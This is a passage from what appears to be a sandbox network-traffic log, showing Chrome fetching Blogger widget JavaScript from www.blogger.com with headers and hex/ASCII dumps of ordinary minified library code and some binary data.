70 9b 22 70 73 4f c8 cc 57 ab cc 02 fd c5 33 62 69 ed 62 36 b5 9b ca 3d b8 9a 56 01 7c fe 19 88 dd 22 f2 a0 d0 f6 Data Ascii: Ck?~m[tYIv38)5Va-y>ww_X(\QbG f3L yg8tqV%N\|L=#r'Au;eKb>sZYJc\t8\0f,=f0A%GG9>>J=#p"psOW3bib6=V\|"
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: a6 51 e6 c5 f1 34 e6 d7 b9 eb 8b e2 ed c4 ef 4b d8 dc b8 24 9a dd ad ba 80 d8 c9 9a f1 61 61 20 cc cd b7 0c 9f 18 e7 1b 86 e2 db 96 e2 82 f5 60 f3 02 cb 3f f4 bc 4f 2c 95 cd 6d 05 c9 0b b9 68 36 93 d6 20 b0 5b 5b c4 37 77 ff c4 00 27 11 01 00 02 02 01 02 06 02 03 01 00 00 00 00 00 00 01 00 11 21 31 41 61 91 10 51 71 a1 d1 f0 81 c1 20 b1 e1 f1 ff da 00 08 01 02 01 01 3f 10 ca 09 66 20 84 09 44 41 f0 50 66 67 e0 a2 37 87 c7 f0 48 d3 89 84 4b 02 10 8b 53 aa 65 2f 3b 80 57 96 bd 97 c5 57 12 a3 fc 01 e7 f0 08 22 82 2d 4d a8 72 42 ca 65 cb b0 e0 77 8b d3 55 d9 61 0a 4b a9 86 24 7c 47 64 d1 b2 b5 a6 21 96 ef c1 6b 88 d2 b8 13 51 62 a2 9b 60 bf 69 ac 5b bb a2 4a ca 3c fb 16 16 97 8a 98 f8 e1 29 2c 98 ae ce 12 64 08 01 80 f4 fb 9f b9 8f d3 67 9c dc 3e 61 1b cd f3 Data Ascii: Q4K$aa `?O,mh6 [[7w'!1AaQq ?f DAPfg7HKSe/;WW"-MrBewUaK$\|Gd!kQb`i[J<),dg>a
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: ab 4c 6a 05 3d d4 0a 32 ff 00 51 34 15 6d 5e 36 46 c2 80 70 90 2a 99 7a a5 7b 88 09 b2 f2 bd c7 79 1f 01 ee 55 a4 65 5a 34 44 ac 1b dc b2 a6 20 0d 5d cc 39 63 e2 3b 95 71 39 23 90 1b f3 3b 04 62 af 54 da 65 f8 89 ca ae 30 97 5f ab 92 55 6b 6b 4b 79 38 82 28 4d 60 33 2d 08 1a 09 cf 92 03 c8 4d 2e a6 2a 12 d1 de 7b 88 03 94 a8 23 75 cd 40 f2 35 9b 97 33 ab fe c7 98 dd 8b 6e 26 50 bb 9b 22 a8 a3 e6 2b 79 2c af 4d 4b b8 a5 4a 0b bb 43 ed 70 52 d2 ba b4 a1 8e 1c f6 82 0e 01 60 f1 d7 f2 18 87 55 19 59 e1 3f b5 40 ea 26 d9 63 88 16 f1 2d 60 b4 d0 c9 20 65 66 74 98 08 50 16 9a c4 72 78 ba d7 fb 2e d4 2b 82 0c 28 35 05 b0 3c 40 df 98 33 a6 74 67 88 8b 29 36 f3 13 cc 12 d3 2f 4c f2 3f e4 74 94 6e 81 b3 d6 e5 c4 9b 9d 9f 11 c6 14 7a 7e e1 b2 c1 95 17 e0 5d 3e a2 e2 Data Ascii: Lj=2Q4m^6Fpz{yUeZ4D ]9c;q9#;bTe0_UkkKy8(M`3-M.{#u@53n&P"+y,MKJCpR`UY?@&c-` eftPrx.+(5<@3tg)6/L?tnz~]>
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: f8 d7 a8 4f 6d b8 c4 bd 10 87 27 79 04 0a 51 b6 e0 e0 ca 71 0d 05 c1 46 83 5a 29 62 c3 88 1d a8 b4 26 05 f0 6b 7e 4e e3 ea 80 20 a9 08 34 62 b8 f3 0b 5f 59 06 88 75 5b b6 71 05 b3 33 21 af 7f af 13 4f 15 ac 33 3c 2e eb 74 54 aa 24 a2 02 da c3 45 29 63 71 88 6a a9 94 15 7e 14 2d ff 00 ec be 28 4d 6e 94 8d 75 47 c9 75 99 99 38 98 28 97 8b af 7c 4c 24 95 2b a7 36 d1 33 f3 fa 80 6d 59 f1 08 72 bc 06 a6 1e ef c4 b9 62 f8 99 d6 9f 21 01 79 2c 30 6f f5 0a fe 09 ba fa 53 fb 32 de a8 5f e4 a1 c3 7d 48 a0 0d 33 e1 79 77 8d eb 3e 23 90 e9 4a 2e 70 37 9c 53 78 dc 42 a0 0c 62 51 8e f1 4e bb f1 02 0a e3 83 5a 37 60 37 74 57 ee 0c 33 2b 4f 0c 62 9c c0 01 14 5b 57 91 b6 0e f9 97 58 80 1a 50 b1 6b a6 c3 bd f8 8a 9c a4 7e bb a4 71 28 18 41 77 46 3a 5b e7 c4 35 31 e0 4c b6 Data Ascii: Om'yQqFZ)b&k~N 4b_Yu[q3!O3<.tT$E)cqj~-(MnuGu8(\|L$+63mYrb!y,0oS2_}H3yw>#J.p7SxBbQNZ7`7tW3+Ob[WXPk~q(AwF:[51L
2024-10-14 22:39:52 UTC	676	IN	Data Raw: 5c a6 36 34 0e e5 a0 7c 02 a8 6b 1b b7 dc 36 54 39 6a ad 6d 7f b9 7a 69 ae 0e 47 0d e9 97 34 5a bc cf 23 9a f8 a8 d9 23 aa 13 4d 66 c3 6c 0f d0 13 b3 56 97 b1 fd c3 75 6a 05 d6 ff 00 50 b1 ab 90 43 d1 bc d6 7c 04 36 1b 88 37 59 e6 c7 c6 a2 8e 51 11 99 6a af 67 a9 77 0e 42 a0 1c 62 ff 00 fb 18 08 54 a7 08 9d 89 fa 80 f9 a9 34 75 79 33 02 80 ab 31 7c c5 36 26 f4 36 ff 00 c7 dd 33 99 01 97 7c 62 08 09 f0 bd 9a 8f 36 4c 28 5d b0 02 a9 29 bb 22 3a ef 88 77 58 62 e3 21 b4 5d dc 1f dc 42 02 e7 00 5e 67 6e 65 f9 b9 7a f1 0c 4b fc 24 c8 df 99 64 58 a0 bd ef d7 73 67 52 f5 c4 c5 a0 f0 74 45 e6 bd 46 e1 4b 02 f9 b7 fc 83 61 1d 2a 30 8a c4 c9 93 df b8 48 85 14 15 6b 0d dd 60 ee 62 99 50 55 8b 38 45 bf 50 64 b7 c7 47 52 b2 1f 28 0e df 82 c8 6d c1 e6 e1 4a a3 2e 16 01 Data Ascii: \64\|k6T9jmziG4Z##MflVujPC\|67YQjgwBbT4uy31\|6&63\|b6L(])":wXb!]B^gnezK$dXsgRtEFKa*0Hk`bPU8EPdGR(mJ.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	49815	172.217.18.105	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:52 UTC	378	OUT	GET /static/v1/widgets/3650705295-widgets.js HTTP/1.1 Host: www.blogger.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:52 UTC	696	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="blogger-tech" Report-To: {"group":"blogger-tech","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/blogger-tech"}]} Content-Length: 145622 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Tue, 08 Oct 2024 08:07:17 GMT Expires: Wed, 08 Oct 2025 08:07:17 GMT Cache-Control: public, max-age=31536000 Last-Modified: Mon, 07 Oct 2024 13:59:46 GMT Content-Type: text/javascript Vary: Accept-Encoding Age: 570755 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-14 22:39:52 UTC	682	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 47 6f 6f 67 6c 65 20 4c 4c 43 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 0a 2a 2f 0a 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 0a 2a 2f 0a 76 61 72 20 61 61 3d 22 26 61 63 74 69 6f 6e 3d 22 2c 62 61 3d 22 2e 77 69 6b 69 70 65 64 69 61 2e 6f 72 67 22 2c 63 61 3d 22 53 43 52 49 50 54 22 2c 64 61 3d 22 53 50 41 4e 22 2c 65 61 3d 22 53 57 5f 52 45 41 44 45 52 5f 4c 49 53 54 5f 22 2c 66 61 3d 22 53 57 5f 52 45 41 44 45 Data Ascii: (function(){/* Copyright Google LLC SPDX-License-Identifier: Apache-2.0// Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0*/var aa="&action=",ba=".wikipedia.org",ca="SCRIPT",da="SPAN",ea="SW_READER_LIST_",fa="SW_READE
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 2d 66 6f 72 6d 2d 73 75 62 6d 69 74 22 2c 42 61 3d 22 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 73 75 63 63 65 73 73 2d 6d 65 73 73 61 67 65 22 2c 43 61 3d 22 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 73 75 63 63 65 73 73 2d 6d 65 73 73 61 67 65 2d 77 69 74 68 2d 62 6f 72 64 65 72 22 2c 44 61 3d 22 64 61 74 61 2d 68 65 69 67 68 74 22 2c 45 61 3d 22 64 69 73 70 6c 61 79 4d 6f 64 65 46 75 6c 6c 22 2c 46 61 3d 22 64 69 73 70 6c 61 79 4d 6f 64 65 4c 61 79 6f 75 74 22 2c 47 61 3d 22 64 69 73 70 6c 61 79 4d 6f 64 65 4e 6f 6e 65 22 2c 6c 3d 22 64 69 76 22 2c 48 61 3d 22 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 22 2c 49 61 3d 22 65 72 72 6f 72 22 2c 4a 61 3d 22 65 78 70 61 6e 64 65 64 22 2c 6e 3d 22 66 75 6e 63 74 69 6f 6e 22 2c 4b 61 3d 22 68 69 64 64 65 6e 22 2c Data Ascii: -form-submit",Ba="contact-form-success-message",Ca="contact-form-success-message-with-border",Da="data-height",Ea="displayModeFull",Fa="displayModeLayout",Ga="displayModeNone",l="div",Ha="dropdown-toggle",Ia="error",Ja="expanded",n="function",Ka="hidden",
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 62 7d 29 7d 7d 0a 77 28 22 53 79 6d 62 6f 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 66 29 7b 69 66 28 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 62 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 79 6d 62 6f 6c 20 69 73 20 6e 6f 74 20 61 20 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 63 28 64 2b 28 66 7c 7c 22 22 29 2b 22 5f 22 2b 65 2b 2b 2c 66 29 7d 66 75 6e 63 74 69 6f 6e 20 63 28 66 2c 67 29 7b 74 68 69 73 2e 41 3d 66 3b 65 62 28 74 68 69 73 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 Data Ascii: urable:!0,writable:!0,value:b})}}w("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(f\|\|"")+"_"+e++,f)}function c(f,g){this.A=f;eb(this,"description",{configurable:!0,writable:!0,va
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 20 61 7d 63 61 74 63 68 28 61 29 7b 7d 6d 62 3d 21 31 7d 6c 62 3d 6d 62 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 62 3b 69 66 28 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 21 3d 3d 62 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 61 2b 22 20 69 73 20 6e 6f 74 20 65 78 74 65 6e 73 69 62 6c 65 22 29 3b 72 65 74 75 72 6e 20 61 7d 3a 6e 75 6c 6c 7d 76 61 72 20 70 62 3d 6c 62 3b 0a 66 75 6e 63 74 69 6f 6e 20 79 28 61 2c 62 29 7b 61 2e 70 72 6f 74 6f 74 79 70 65 3d 6b 62 28 62 2e 70 72 6f 74 6f 74 79 70 65 29 3b 61 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 61 3b 69 66 28 70 62 29 70 62 28 61 2c 62 29 3b 65 6c 73 65 20 66 6f 72 28 76 61 72 20 63 20 69 6e 20 62 29 69 66 28 63 21 3d 22 70 72 Data Ascii: a}catch(a){}mb=!1}lb=mb?function(a,b){a.__proto__=b;if(a.__proto__!==b)throw new TypeError(a+" is not extensible");return a}:null}var pb=lb;function y(a,b){a.prototype=kb(b.prototype);a.prototype.constructor=a;if(pb)pb(a,b);else for(var c in b)if(c!="pr
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 65 28 6b 29 3b 75 2e 73 65 74 28 6d 2c 34 29 3b 72 65 74 75 72 6e 21 75 2e 68 61 73 28 6b 29 26 26 75 2e 67 65 74 28 6d 29 3d 3d 34 7d 63 61 74 63 68 28 43 29 7b 72 65 74 75 72 6e 21 31 7d 7d 28 29 29 72 65 74 75 72 6e 20 61 3b 76 61 72 20 67 3d 22 24 6a 73 63 6f 6d 70 5f 68 69 64 64 65 6e 5f 22 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 66 28 22 66 72 65 65 7a 65 22 29 3b 66 28 22 70 72 65 76 65 6e 74 45 78 74 65 6e 73 69 6f 6e 73 22 29 3b 66 28 22 73 65 61 6c 22 29 3b 76 61 72 20 68 3d 30 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6b 2c 6d 29 7b 69 66 28 21 64 28 6b 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 57 65 61 6b 4d 61 70 20 6b 65 79 22 29 3b 65 28 6b 29 3b 69 66 28 21 72 62 28 6b 2c Data Ascii: e(k);u.set(m,4);return!u.has(k)&&u.get(m)==4}catch(C){return!1}}())return a;var g="$jscomp_hidden_"+Math.random();f("freeze");f("preventExtensions");f("seal");var h=0;b.prototype.set=function(k,m){if(!d(k))throw Error("Invalid WeakMap key");e(k);if(!rb(k,
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 3a 34 7d 29 7c 7c 6b 2e 73 65 74 28 7b 78 3a 34 7d 2c 22 74 22 29 21 3d 6b 7c 7c 6b 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 6d 3d 6b 2e 65 6e 74 72 69 65 73 28 29 2c 75 3d 6d 2e 6e 65 78 74 28 29 3b 69 66 28 75 2e 64 6f 6e 65 7c 7c 75 2e 76 61 6c 75 65 5b 30 5d 21 3d 68 7c 7c 75 2e 76 61 6c 75 65 5b 31 5d 21 3d 22 73 22 29 72 65 74 75 72 6e 21 31 3b 75 3d 6d 2e 6e 65 78 74 28 29 3b 72 65 74 75 72 6e 20 75 2e 64 6f 6e 65 7c 7c 75 2e 76 61 6c 75 65 5b 30 5d 2e 78 21 3d 34 7c 7c 75 2e 76 61 6c 75 65 5b 31 5d 21 3d 22 74 22 7c 7c 21 6d 2e 6e 65 78 74 28 29 2e 64 6f 6e 65 3f 0a 21 31 3a 21 30 7d 63 61 74 63 68 28 43 29 7b 72 65 74 75 72 6e 21 31 7d 7d 28 29 29 72 65 74 75 72 6e 20 61 3b 76 61 72 20 66 3d 6e 65 77 20 57 65 61 6b 4d 61 Data Ascii: :4})\|\|k.set({x:4},"t")!=k\|\|k.size!=2)return!1;var m=k.entries(),u=m.next();if(u.done\|\|u.value[0]!=h\|\|u.value[1]!="s")return!1;u=m.next();return u.done\|\|u.value[0].x!=4\|\|u.value[1]!="t"\|\|!m.next().done?!1:!0}catch(C){return!1}}())return a;var f=new WeakMa
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 74 68 69 73 2e 61 64 64 28 64 2e 76 61 6c 75 65 29 7d 74 68 69 73 2e 73 69 7a 65 3d 74 68 69 73 2e 41 2e 73 69 7a 65 7d 69 66 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 61 7c 7c 74 79 70 65 6f 66 20 61 21 3d 6e 7c 7c 21 61 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 6e 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 78 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e Data Ascii: .next()).done;)this.add(d.value)}this.size=this.A.size}if(function(){if(!a\|\|typeof a!=n\|\|!a.prototype.entries\|\|typeof Object.seal!=n)return!1;try{var c=Object.seal({x:4}),d=new a(x([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 62 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 5b 62 2c 63 5d 7d 29 7d 7d 29 3b 0a 77 28 22 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 6b 65 79 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 62 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 7d 29 7d 7d 29 3b 0a 77 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 69 66 28 74 68 69 73 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 Data Ascii: ?a:function(){return tb(this,function(b,c){return[b,c]})}});w("Array.prototype.keys",function(a){return a?a:function(){return tb(this,function(b){return b})}});w("String.prototype.startsWith",function(a){return a?a:function(b,c){if(this==null)throw new
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 78 74 28 29 29 2e 64 6f 6e 65 3b 29 65 2e 70 75 73 68 28 63 2e 63 61 6c 6c 28 64 2c 66 2e 76 61 6c 75 65 2c 67 2b 2b 29 29 7d 65 6c 73 65 20 66 6f 72 28 66 3d 62 2e 6c 65 6e 67 74 68 2c 67 3d 30 3b 67 3c 66 3b 67 2b 2b 29 65 2e 70 75 73 68 28 63 2e 63 61 6c 6c 28 64 2c 62 5b 67 5d 2c 67 29 29 3b 72 65 74 75 72 6e 20 65 7d 7d 29 3b 0a 77 28 22 4f 62 6a 65 63 74 2e 76 61 6c 75 65 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 5b 5d 2c 64 3b 66 6f 72 28 64 20 69 6e 20 62 29 72 62 28 62 2c 64 29 26 26 63 2e 70 75 73 68 28 62 5b 64 5d 29 3b 72 65 74 75 72 6e 20 63 7d 7d 29 3b 77 28 22 4e 75 6d 62 65 72 2e 4d 41 58 5f 53 41 46 45 5f 49 4e 54 45 47 45 52 22 2c 66 75 6e 63 74 69 Data Ascii: xt()).done;)e.push(c.call(d,f.value,g++))}else for(f=b.length,g=0;g<f;g++)e.push(c.call(d,b[g],g));return e}});w("Object.values",function(a){return a?a:function(b){var c=[],d;for(d in b)rb(b,d)&&c.push(b[d]);return c}});w("Number.MAX_SAFE_INTEGER",functi
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 6e 64 6f 77 2e 6a 73 74 69 6d 69 6e 67 2e 6c 6f 61 64 2e 6e 61 6d 65 3d 61 2b 22 62 6c 6f 67 73 70 6f 74 22 3b 61 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 69 6d 67 22 29 3b 66 6f 72 28 76 61 72 20 63 3d 30 3b 63 3c 61 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 61 5b 63 5d 2e 63 6f 6d 70 6c 65 74 65 3f 77 62 28 61 5b 63 5d 2c 22 70 6f 73 74 22 29 21 3d 6e 75 6c 6c 26 26 78 62 2e 61 70 70 6c 79 28 61 5b 63 5d 29 3a 77 62 28 61 5b 63 5d 2c 22 70 6f 73 74 22 29 21 3d 6e 75 6c 6c 26 26 76 62 28 61 5b 63 5d 2c 78 62 29 3b 76 62 28 77 69 6e 64 6f 77 2c 75 62 29 3b 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 64 3d 7b 7d 2c 65 3d 77 69 6e 64 6f 77 2e 62 6c 6f 67 67 65 72 5f 62 6c 6f 67 5f 69 64 2c Data Ascii: ndow.jstiming.load.name=a+"blogspot";a=document.getElementsByTagName("img");for(var c=0;c<a.length;c++)a[c].complete?wb(a[c],"post")!=null&&xb.apply(a[c]):wb(a[c],"post")!=null&&vb(a[c],xb);vb(window,ub);a=function(){for(var d={},e=window.blogger_blog_id,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	49816	172.217.18.105	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:52 UTC	378	OUT	GET /static/v1/widgets/2271878333-widgets.js HTTP/1.1 Host: www.blogger.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:52 UTC	690	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="blogger-tech" Report-To: {"group":"blogger-tech","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/blogger-tech"}]} Content-Length: 90737 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon, 14 Oct 2024 22:39:49 GMT Expires: Tue, 14 Oct 2025 22:39:49 GMT Cache-Control: public, max-age=31536000 Last-Modified: Tue, 07 Oct 2014 07:06:55 GMT Content-Type: text/javascript Vary: Accept-Encoding Age: 3 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-14 22:39:52 UTC	688	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 20 28 29 7b 20 76 61 72 20 67 3d 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 2c 6b 3d 77 69 6e 64 6f 77 2c 61 61 3d 4f 62 6a 65 63 74 2c 62 61 3d 46 75 6e 63 74 69 6f 6e 2c 6c 3d 64 6f 63 75 6d 65 6e 74 2c 63 61 3d 69 73 4e 61 4e 2c 6d 3d 4d 61 74 68 2c 64 61 3d 41 72 72 61 79 2c 65 61 3d 4e 75 6d 62 65 72 2c 6e 3d 45 72 72 6f 72 2c 66 61 3d 70 61 72 73 65 49 6e 74 2c 67 61 3d 70 61 72 73 65 46 6c 6f 61 74 2c 70 3d 53 74 72 69 6e 67 2c 68 61 3d 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 3b 66 75 6e 63 74 69 6f 6e 20 69 61 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 6f 6e 6c 6f 61 64 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 6a 61 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 77 69 64 74 68 3d 62 7d 66 75 6e 63 74 Data Ascii: (function (){ var g=encodeURIComponent,k=window,aa=Object,ba=Function,l=document,ca=isNaN,m=Math,da=Array,ea=Number,n=Error,fa=parseInt,ga=parseFloat,p=String,ha=decodeURIComponent;function ia(a,b){return a.onload=b}function ja(a,b){return a.width=b}funct
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 74 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 75 61 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 6c 65 66 74 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 76 61 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 74 79 70 65 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 77 61 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 6e 61 6d 65 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 78 61 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 7a 49 6e 64 65 78 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 79 61 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 76 69 73 69 62 69 6c 69 74 79 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 7a 61 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 6c 65 6e 67 74 68 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 75 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 63 6c 61 73 73 4e 61 6d 65 3d 62 7d 66 75 6e 63 74 69 Data Ascii: t=b}function ua(a,b){return a.left=b}function va(a,b){return a.type=b}function wa(a,b){return a.name=b}function xa(a,b){return a.zIndex=b}function ya(a,b){return a.visibility=b}function za(a,b){return a.length=b}function u(a,b){return a.className=b}functi
2024-10-14 22:39:52 UTC	1378	IN	Data Raw: 75 65 22 2c 4f 62 3d 22 69 74 65 6d 22 2c 46 3d 22 69 6e 64 65 78 4f 66 22 2c 47 3d 22 6a 73 74 69 6d 69 6e 67 22 2c 50 62 3d 22 6e 6f 64 65 4e 61 6d 65 22 2c 51 62 3d 22 6c 65 66 74 22 2c 52 62 3d 22 72 65 61 64 79 53 74 61 74 65 22 2c 53 62 3d 22 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 22 2c 54 62 3d 22 74 79 70 65 22 2c 55 62 3d 22 64 65 66 61 75 6c 74 56 69 65 77 22 2c 56 62 3d 22 6e 61 6d 65 22 2c 57 62 3d 22 66 72 61 6d 65 73 22 2c 58 62 3d 22 73 63 72 6f 6c 6c 54 6f 70 22 2c 48 3d 22 6c 65 6e 67 74 68 22 2c 59 62 3d 22 74 69 74 6c 65 22 2c 4a 3d 22 70 72 6f 74 6f 74 79 70 65 22 2c 5a 62 3d 22 63 6c 61 73 73 4e 61 6d 65 22 2c 24 62 3d 22 61 62 6f 72 74 22 2c 61 63 3d 22 67 65 74 53 65 6c 65 63 74 69 6f 6e 22 2c 62 63 3d 22 64 6f 63 75 6d 65 Data Ascii: ue",Ob="item",F="indexOf",G="jstiming",Pb="nodeName",Qb="left",Rb="readyState",Sb="addEventListener",Tb="type",Ub="defaultView",Vb="name",Wb="frames",Xb="scrollTop",H="length",Yb="title",J="prototype",Zb="className",$b="abort",ac="getSelection",bc="docume
